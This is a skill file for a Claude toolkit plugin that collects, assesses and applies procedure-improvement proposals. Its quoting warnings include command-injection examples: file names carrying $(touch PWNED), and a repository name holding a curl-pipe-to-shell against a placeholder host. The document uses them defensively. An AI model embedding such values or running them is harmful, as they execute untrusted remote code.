vt-t-toolkit-review¶
Process procedure improvement proposals from projects, RCA documents, and research. Collects from all sources, groups by target skill, generates edit proposals, and applies approved changes to toolkit files.
Plugin: vt-toolkit
Category: Other
Command: /vt-t-toolkit-review
Toolkit Review¶
Purpose: Close the feedback loop between project experience and toolkit procedures. Collects improvement proposals from all sources and applies approved changes to toolkit skills, agents, and templates.
The Feedback Loop¶
SOURCES TOOLKIT (V025-claude-toolkit)
─────── ──────────────────────────────
Project work intake/
└─ /vt-c-compound (Option 8) ──────────► ├─ projects.yaml
└─ /vt-c-journal (auto-detect) ────────► ├─ pending/
│ ├─ from-projects/
RCA documents │ ├─ from-rca/
└─ /vt-t-toolkit-review --from-rca ────► │ └─ from-research/
└─ processed/
Research
└─ /vt-p-research-ingest ─────────────► intake/pending/from-research/
│
▼
/vt-t-toolkit-review processes all
│
▼
Skills, agents, templates updated
Invocation¶
/vt-t-toolkit-review # Collect from all registered projects + intake/pending/
/vt-t-toolkit-review --scan ~/path/to/project # Scan specific project (also registers it)
/vt-t-toolkit-review --from-rca PATH # Import learnings from an RCA document
/vt-t-toolkit-review --status # Show pending proposals across all sources
Configuration¶
Execution Instructions¶
Calling the status vocabulary. Every status-vocab.sh call in this skill is written in the
cross-plugin form "$CLAUDE_PLUGIN_ROOT/../vt-base/bin/status-vocab.sh". The ../vt-base/ hop is
deliberate: the CLI lives in the base plugin, while $CLAUDE_PLUGIN_ROOT names this skill's own
plugin. If $CLAUDE_PLUGIN_ROOT is unset or that file does not exist, run the copy relative to this
skill file's directory instead, ../../../vt-base/bin/status-vocab.sh. If neither exists, stop the
step and report both paths you tried; never classify from memory or from a list written here. Do not
shorten the call to a path under the toolkit's plugins/ directory: that resolves only when the
working directory is the toolkit itself, so the step could not read the vocabulary in a product repo.
Never paste a PATH or a VALUE read out of a file into a command: a status and a file name are both
repo content, and a $(…) in one runs when it reaches a shell (review pass 4, SEC-20). Single
quotes are NOT the remedy — that advice shipped here and was measured wrong (review pass 6,
SEC6-3): they stop $(…), but a directory committed as 999-x'$(touch PWNED)' CLOSES the quote
and executes. Let the shell expand the glob and bind the loop variable, and paste only a number,
which cannot carry a quote. classify-file and accepts-file take the file and read the value
themselves.
An exit 2 is not an unknown literal. exit 3 says the vocabulary was read and this value is
not in it — warn, and never default it. exit 2 says the vocabulary could not be read AT ALL, or
that the artifact was refused before being scanned: a missing or unparseable data file, a key this
reader will not identify, a duplicate declaration of the same field, or a file over the size bound
(review pass 7, SEC7-4). Report it and stop; do not carry on as though the answer were empty and
do not treat the value as acceptable. Stated once here rather than in each step, because it is the
contract of every call this file makes.
Step 1: Collect Proposals¶
Tip: Run
/vt-p-project-syncfirst to ensure all registered projects' proposals and journal entries have been collected intointake/pending/from-projects/. This is especially important if projects have been worked on since the last sync.
1a. Load project registry:
Parse the projects list. For each project:
# Check if project path exists (canonical + legacy layout)
ls [project_path]/docs/toolkit-proposals/ [project_path]/01-docs/toolkit-proposals/ 2>/dev/null
# Read all proposal files from BOTH locations, then de-duplicate by basename
# (docs/ wins) so a proposal in both layouts is never processed twice.
Glob: [project_path]/docs/toolkit-proposals/*.md
Glob: [project_path]/01-docs/toolkit-proposals/*.md # legacy (pre-SPEC-150 scaffold)
1b. Scope health check (SPEC-123 C9):
Run the advisory scope-health checks before processing proposals:
bash plugins/vt-base/bin/check-skill-scope-health.sh \
--skill-dir plugins/*/skills \
--repo-product [current-repo-product-if-known] \
--projects intake/projects.yaml
- If
--repo-productis known (the repo has a matching entry inintake/projects.yaml projects[].product), the check emits cross-product warnings:⚠ Skill X scoped to {Y} but current repo is product=Z. Skill is path-blocked; manual /X still works. - The check also emits heuristic suggestions for global-scope skills that contain product signals:
suggest: vt-d-messegelaende-cleanup matches VisiFair signals → consider scope: product:[VisiFair]. - Exit codes (BUG-221 — this used to say "always 0"): 0 = the check ran and any findings are advisory only, so they never fail this workflow; 2 = nothing was checked because no
SKILL.mdwas selected — treat that as a broken invocation (an unmatched--skill-dir plugins/*/skillsglob is the likely cause), not as a clean result; anything else = the check crashed and says so on stderr with a line number. - Do not read empty output as "no problems" without checking the exit code: a run that examined zero skills and a run that found nothing both print nothing on stdout.
- Include the output in the Step 4 summary for review.
1c. Load intake/pending/ proposals:
Glob: intake/pending/from-projects/*.md
Glob: intake/pending/from-rca/*.md
Glob: intake/pending/from-research/*.md
1d. Filter out already-processed proposals:
Ask the vocabulary about every proposal file rather than matching a list kept here. Run this one command over the three globs above and read its lines; do not paste the names back in:
for f in intake/pending/from-projects/*.md intake/pending/from-rca/*.md intake/pending/from-research/*.md; do
[ -e "$f" ] || continue
printf '%s\t' "$f"
"$CLAUDE_PLUGIN_ROOT/../vt-base/bin/status-vocab.sh" classify-file "$f" --consumer toolkit-review
done
⚠ The shell expands the glob; the name is NEVER pasted into the command. A file name is repo
content, and BUG-901$(touch PWNED).md executes when it is interpolated into a double-quoted
argument — measured, review pass 5 (SEC-20 closed the status VALUE, not the name). Single quotes
are not enough either: a name containing ' breaks out of them.
- class
end→ skip it. The proposal has been dealt with — applied, retracted by its author, already through the merit gate, turned into a spec: the reasons differ, the handling does not. - class
active→ process it. A proposal awaiting its first review and one returned for changes are both work this run should do. - exit 4 (no
toolkit_proposal_statusfield at all) → process it, as before. - exit 3 — a literal nobody declares — is an error, not a default. Print
⚠ unknown toolkit_proposal_status "{value}" in {file} — processing it, declare it in plugins/vt-base/lib/status-vocabulary.tsvand process the file. This filter andinbox-qualifyStep 0.5 used to be two lists that an author had to keep in step by hand; they read one declaration now.
If no proposals found:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Toolkit Review - No Pending Proposals
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Scanned:
• N registered projects
• intake/pending/ (0 files)
No proposals to process.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Step 2: Group by Target¶
Group all collected proposals by target_skill from their YAML frontmatter:
pd-5-specs: (2 proposals)
[2026-02-13] Missing UX quality criteria in specs (high) — V024-Websites-dev
[2026-02-13] Missing a11y acceptance criteria (high) — V024-Websites-dev
scaffold: (1 proposal)
[2026-02-13] critical-patterns.md should include UX patterns (medium) — RCA-001
research-ingest: (1 proposal)
[2026-02-14] New skill idea from article (low) — research
If multiple proposals target the same section of the same skill, merge them into one combined proposal. Note the merge in the presentation.
Step 3: Analyze, Assess Merit, and Generate Edit Proposals¶
For each target skill:
- Resolve
target_skillto a source directory, then read the skill file.
target_skill may hold either name space, and both are legitimate:
- the deployed name a user types and
inbox-qualifyvalidates against (vt-d-4-review) — this is what every proposal routed through/vt-p-inbox-qualifycarries, because that skill validates againstskill-symlinks.manifest, which is keyed by deployed names; - the source directory name (
workflow-4-review) — what hand-written proposals usually use, and where the file actually lives.
The manifest records the mapping. Consult it before reading, or every proposal from the qualify route fails here — and fails quietly, because the "Target skill not found" error below is written for a MISSPELLED target, while these are correct in the vocabulary that validated them.
# deployed -> source, e.g. "vt-d-4-review -> workflow-4-review"
grep -h "^[target_skill] ->" plugins/*/.claude-plugin/skill-symlinks.manifest | head -1
Use the right-hand side when a mapping exists; otherwise use target_skill unchanged — it is
already a source name. Then:
If neither resolves to a file, fall through to the "Target skill not found" error path. Report which name was tried, so a mapping gap is distinguishable from a typo.
-
Read all proposals targeting it
-
Read the constitution (if it exists):
-
Run Merit Assessment — 5 adversarial checks that challenge whether the proposal should be implemented at all:
Check A: Problem Reality
- Is this problem reported by a real project, RCA, or user — or is it purely theoretical?
- Has the current state actually caused issues in practice (drift, confusion, bugs)?
- If the proposal originates from external article comparison with no experienced pain → flag as THEORETICAL
- If the proposal originates from an RCA, project feedback, or documented incident → CONFIRMED
Check B: Constitution Compliance
- Does the proposed change strengthen or weaken each Constitution principle?
- Especially Principle IV (Composability): does it break self-containment of any skill or agent? Does it introduce cross-file dependencies where none existed?
- If the change weakens a principle → flag as VIOLATION([principle])
- If there is a tradeoff between principles → flag as TENSION([principle], [explanation])
- Source of truth (SPEC-143): when verifying a shipped spec, read specs/[N]-feature/state.yaml.plan_gate rather than re-parsing plan.md prose. Reader accepts status: PASS (post-SPEC-143) and legacy status: COMPLETE as equivalent compliant markers — both are considered compliant.
Check C: Consumer Identification
- Who specifically uses the changed component? Name the consumers (skills, agents, workflows, users).
- If the proposal creates new files: who reads those files? Name the consumer.
- If the only beneficiary is "future flexibility", "potential reuse", or "cleaner architecture" with no current consumer → flag as SPECULATIVE
Check D: Duplication Analysis (only when the proposal addresses duplication)
- Do both copies need to exist for their respective components to work standalone?
- Has the duplication actually caused drift? Are the copies identical or have they diverged?
- If both components need the content inline for standalone operation → flag as FUNCTIONAL
- Skip this check (mark N/A) if the proposal is not about reducing duplication.
Check E: Cost-Benefit
- Net file count change (more files = more complexity to maintain)
- Net cross-file dependency count (new references between files)
- Does the value gained justify the complexity added?
- If complexity increases without clear, concrete benefit → flag as NET_NEGATIVE
- Generate Merit Verdict from the check results:
| Verdict | Condition | Recommended action |
|---|---|---|
| SOUND | All checks pass (no flags) | Approve or defer-to-spec |
| QUESTIONABLE | 1-2 checks flagged concerns | Review concerns carefully before deciding |
| DETRIMENTAL | VIOLATION + NET_NEGATIVE, or 3+ flags, or Problem is THEORETICAL + Consumer is SPECULATIVE | Reject (user can override) |
- Generate a specific edit proposal (same as before):
- Identify the exact section to modify (by content, not just line number)
- Draft the exact content to add or change
- Provide rationale from the source proposals
Provenance check (SPEC-189 FR-4). After reading status, read validator. If it is not
agent — including absent, which reads as unknown and never as agent (FR-6) — display:
⚠ This gate's <status> was NOT produced by its prescribed validator (validator: <value>).
Did not run: <prescribed − validators_run>, from the writing skill's `requires_agents`.
When no prescribed set is declared, name what DID run instead and say so — never drop the
line, and never read an empty `prescribed` as "none were required".
Continuing — this is a notice, not a block.
Non-blocking by FR-5: the notice changes no branch.
Step 4: Present for Approval¶
For each target, present both the merit verdict and the edit proposal using AskUserQuestion:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Proposal 1/N: Update [target-skill]
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Source: [source] ([count] proposals, [severity])
Target: plugins/*/skills/[target]/SKILL.md
┌─────────────────────────────────────────────────────┐
│ MERIT ASSESSMENT: [SOUND | QUESTIONABLE | DETRIMENTAL]
│ │
│ A. Problem Reality: [CONFIRMED | THEORETICAL] │
│ [1-line explanation] │
│ │
│ B. Constitution: [OK | VIOLATION(N) | TENSION(N)] │
│ [1-line explanation] │
│ │
│ C. Consumer: [IDENTIFIED: x, y | SPECULATIVE] │
│ [1-line explanation] │
│ │
│ D. Duplication: [N/A | FUNCTIONAL | ACCIDENTAL] │
│ [1-line explanation, if applicable] │
│ │
│ E. Cost-Benefit: [NET_POSITIVE | NEUTRAL | NET_NEGATIVE]
│ [1-line explanation] │
└─────────────────────────────────────────────────────┘
Proposed change:
[the edit proposal from Step 3.6]
Evidence:
[source references]
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Options depend on the merit verdict:
When verdict is SOUND: - Approve — Apply this change to the toolkit file - Edit — Modify the proposed content before applying - Defer to spec — Too large for direct edit, create a spec - Reject — Don't apply (mark as rejected)
When verdict is QUESTIONABLE: - Approve — Apply despite concerns - Edit — Modify to address concerns, then apply - Defer to spec — Create a spec (concerns carry forward for Defense Line 2) - Reject — Don't apply (mark as rejected with merit assessment preserved)
When verdict is DETRIMENTAL: - Reject (Recommended) — Don't apply (mark as rejected with merit assessment preserved) - Edit — Modify to address concerns, then re-assess - Approve anyway — Override the assessment (user has final say) - Defer to spec — Create a spec despite concerns
In all cases, View source is available as a secondary action to show the full source proposal(s).
Learning capture: When a proposal is rejected based on merit assessment, append the verdict and rejection reason to the proposal file as a ## Merit Assessment section. This preserves the reasoning for institutional learning (Constitution Principle III).
Step 5: Apply Approved Changes¶
For each proposal with a decision:
Approved proposals:
1. Apply the edit to the target toolkit file using Edit tool
2. Mark source proposals as applied:
- For project proposals: update toolkit_proposal_status: applied in the source file
- For intake/pending/ proposals: move file to intake/processed/
Deferred-to-spec proposals:
1. Update toolkit_proposal_status: deferred-to-spec in the proposal file
2. Move to intake/processed/: git mv [proposal_path] intake/processed/[from-source]/
— the proposal is processed; the spec handles everything from here
Rejected proposals:
1. Update toolkit_proposal_status: rejected in the proposal file
2. Append ## Merit Assessment section with verdict and rejection reason (already documented above)
3. Move to intake/processed/: git mv [proposal_path] intake/processed/[from-source]/
— the proposal was evaluated and dismissed; keeping it in pending is misleading
Step 6: Summary Report¶
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Toolkit Review Complete
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Proposals processed: N
Approved and applied: X
Skipped: Y
Edited and applied: Z
Files updated in toolkit:
- skills/vt-d-pd-5-specs/SKILL.md (added quality criteria section)
- templates/vt-d-scaffold/coding/critical-patterns.md (added 6 UX patterns)
Source proposals marked as applied in:
- V024-Websites-dev/docs/toolkit-proposals/ (2 files)
- intake/pending/from-rca/ → intake/processed/ (1 file moved)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Ready to commit. Run /vt-c-commit to create a commit on the current branch.
Suggested message: "Apply toolkit improvements from V024 project feedback"
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
--from-rca Mode¶
Import learnings directly from an RCA (Root Cause Analysis) document.
Execution¶
Steps¶
-
Read the RCA document in full
-
Extract actionable items:
- Each root cause (RC-N) that identifies a toolkit gap
- Each defect category that could be prevented by a checklist/pattern
-
Each "should exist" recommendation
-
Map each to a target skill: | RCA Finding | Target Skill | |---|---| | Missing quality criteria in specs | pd-5-specs, kw-specs | | Missing quality gate | implementation-orchestrator | | Missing pattern in checklist | scaffold (critical-patterns template) | | Missing auto-detection | continuous-learning | | Missing review step | workflow skill (3-build, 4-review) |
-
Generate proposal files in
intake/pending/from-rca/:
Filename: YYYY-MM-DD-[rca-id]-[target-skill].md
---
type: procedure-improvement
date: YYYY-MM-DD
source: RCA-001
source_path: /path/to/RCA-document.md
target_skill: pd-5-specs
severity: high
category: missing-criteria
toolkit_proposal_status: proposed
---
# Procedure Improvement: Add UX quality criteria to specs template
## Source
RCA-001: Repeated UX Defects Across Sibling Apps
Root Cause RC-3: UX quality criteria are not in the specs
## What Went Wrong
[Extracted from RCA]
## Evidence
[Extracted from RCA - defect counts, specific examples]
## Proposed Change
[Specific addition to the target skill]
## Expected Impact
[How many future occurrences this prevents]
- Continue with normal review flow (Step 1-6 above)
--scan Mode¶
Scan a specific project and optionally register it.
Execution¶
Steps¶
- Check if
docs/toolkit-proposals/(or legacy01-docs/toolkit-proposals/) exists in the project; scan both and de-duplicate by basename (docs/ wins) - If proposals found, process them through the normal flow
- Make the path absolute first. Before any command, turn the
--scanargument into an absolute path yourself: replace a leading~with the value of$HOME, and prefix a relative path with the current directory. Refuse to continue if the path contains a'— stop and ask instead. Reason: every command below puts this path inside single quotes, where~never expands — the resolver then reports a registered project as unregistered and the writer refuses the path (SPEC-195 review pass 6, P6-DOC-2) — and a'would close the quoting, while--scanreaches directories you did not create (P6-SEC-3). Use this absolute path as<project path>in every step below.
Then ask the resolver whether the project is registered — never a text search of the registry, which cannot see worktrees:
Exit 0 AND field 5 equal to that project's own toplevel OR its main checkout — both asked of the PROJECT withgit -C, never of your own cwd:
git -C '<project path>' rev-parse --path-format=absolute --show-toplevel
dirname "$(git -C '<project path>' rev-parse --path-format=absolute --git-common-dir)"
git -C is not optional here, and leaving it out is why this step is being corrected. Under
--scan your cwd stays the TOOLKIT while you iterate over other projects, so
a bare git rev-parse (without -C) describes the toolkit and matches field 5 for no project.
Measured 2026-10-03 from a toolkit worktree: bare --show-toplevel returned the toolkit
worktree and bare --git-common-dir its primary checkout, while field 5 for two registered
projects was each project's own path — so every registered project fell into the "field 5
matching neither" branch below and would be offered for registration a second time, with the
wrong diagnosis attached. 100% of them, not a rate: the cwd is the same for every iteration.
Exit 0 with field 5 matching neither → NOT registered, it sits inside a registered project: ask, as
for exit 1. Exit 1 → not registered, OR the path is not a git repository at all (the resolver
returns 1 for both; say which before offering to register). Ask whether to register it:
Any other exit → report "Toolkit defect: resolve_project.sh exited : " and skip
registration for this project.
4. If yes, ask for the project id, the parent (sub-repositories only) and the spec folder (only when
the project declares none) as ~/.claude/skills/vt-c-project-register/references/registry-item-prompt.md
describes. <name> is the directory's basename; <type> follows the same inference as
/vt-c-project-register Step 3 (coding / design / knowledge / mixed from the tree);
<domain> is asked from the user when the path matches no products: pattern of the registry.
Then write with its quoting rule and exit-code handling (exit 3: re-ask a value-level refusal,
stop on a terminal one — the reference's exit table says which):
bash ~/.claude/skills/vt-c-project-register/scripts/registry_write.sh add \
--path '<project path>' --name '<name>' --type '<type>' --id '<id>' \
--parent '<parent>' --domain '<domain>' --spec-root '<spec_root>'
Quoting — state it here, do not follow the link for it. Put every value in single quotes,
and refuse to run the command if any value contains a ' — stop and ask instead. Reason:
--scan reaches directories you did not create, so a repository named
App'$(curl -s http://x|sh)' closes the quote and the substitution runs as you. The writer
cannot save you: by the time it parses argv the injection has already executed. Every value
here, the path included, is a literal you type — there is no variable expansion to exempt.
Omit every flag whose value is empty. Never append to intake/projects.yaml by hand — reason: an
item without an id turns the id guard red, and the writer is where ids, parents and spec folders
are validated.
Then record the write (BUG-251). The stub derives the toolkit checkout from its own physical
location, never from the scanned project's cwd:
bash ~/.claude/skills/vt-c-project-register/scripts/commit-registry-write.sh \
"chore(intake): register a scanned project (BUG-251)"
Show its output verbatim. The registry lives in the toolkit checkout, not in the project being
scanned; left uncommitted there, the entry is destroyed by the next reset, merge or branch
switch, with no trace in git. The script commits only when that is safe — never on main, a
detached HEAD, or mid-merge — and otherwise states the risk, which is the point.
--status Mode¶
Show pending proposals without processing them.
Execution¶
Output¶
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Toolkit Review Status
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Registered projects: N
- V024-Websites-dev (2 pending proposals)
- V025-Some-Project (0 pending proposals)
Intake pending:
from-projects/: 0 files
from-rca/: 1 file
from-research/: 3 files
Total pending: 6 proposals
By target skill:
pd-5-specs: 2 (high)
scaffold: 1 (medium)
research: 3 (mixed)
Run /vt-t-toolkit-review to process all pending proposals.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Proposal Format¶
All proposals (from any source) use this standardized YAML frontmatter:
The accepted values are NOT enumerated here. "$CLAUDE_PLUGIN_ROOT/../vt-base/bin/status-vocab.sh" values proposal
prints them (add --with-aliases for the accepted spellings), and a literal it does not print is
undeclared — the readers above report it as exit 3 rather than guessing a default. This block used
to advertise a value the lifecycle never had, which is what an enumeration kept beside the real one
does over time.
---
type: procedure-improvement
date: YYYY-MM-DD
source: [project-name | RCA-NNN | research-ingest]
source_path: [path to source file]
target_skill: [skill name in toolkit]
target_file: [specific file path, if known]
severity: [high | medium | low]
category: [missing-criteria | missing-step | wrong-default | missing-check | new-pattern]
toolkit_proposal_status: [see `status-vocab.sh values proposal` — declared, not listed here]
tags: [relevant, tags]
---
Integration Points¶
Invoked by:
- /vt-t-toolkit-review command (primary interface)
- Recommended after completing a project milestone or retrospective
Receives proposals from:
- session-journal (procedure-improvement entries in project's docs/toolkit-proposals/)
- compound-docs (Option 8 in decision menu)
- --from-rca flag (RCA document import)
- research-ingest (proposals in intake/pending/from-research/)
Does not invoke:
- research-implement (separate skill for research proposals with full scaffolding logic)
Error Handling¶
Project path not found:
Project path does not exist: ~/path/to/project
Skipping. Update intake/projects.yaml to remove stale entries.
No proposals directory in project:
No docs/toolkit-proposals/ in V024-Websites-dev.
This project has not generated any toolkit proposals yet.
Invalid proposal format:
Proposal [filename] is missing required fields: target_skill
Skipping this proposal. Fix the YAML frontmatter and re-run.
Target skill not found:
Target skill "nonexistent-skill" not found in toolkit.
tried as deployed name -> no mapping in skill-symlinks.manifest
tried as source name -> no plugins/*/skills/nonexistent-skill/
Skipping proposal. Available skills: [list nearby matches]
Naming both attempts matters: a proposal from /vt-p-inbox-qualify carries a DEPLOYED name that is
valid in the manifest, so "not found" without the detail reads as a typo in a value that is correct.
That is how the mismatch survived — the failure looked like bad input rather than an unresolved
mapping.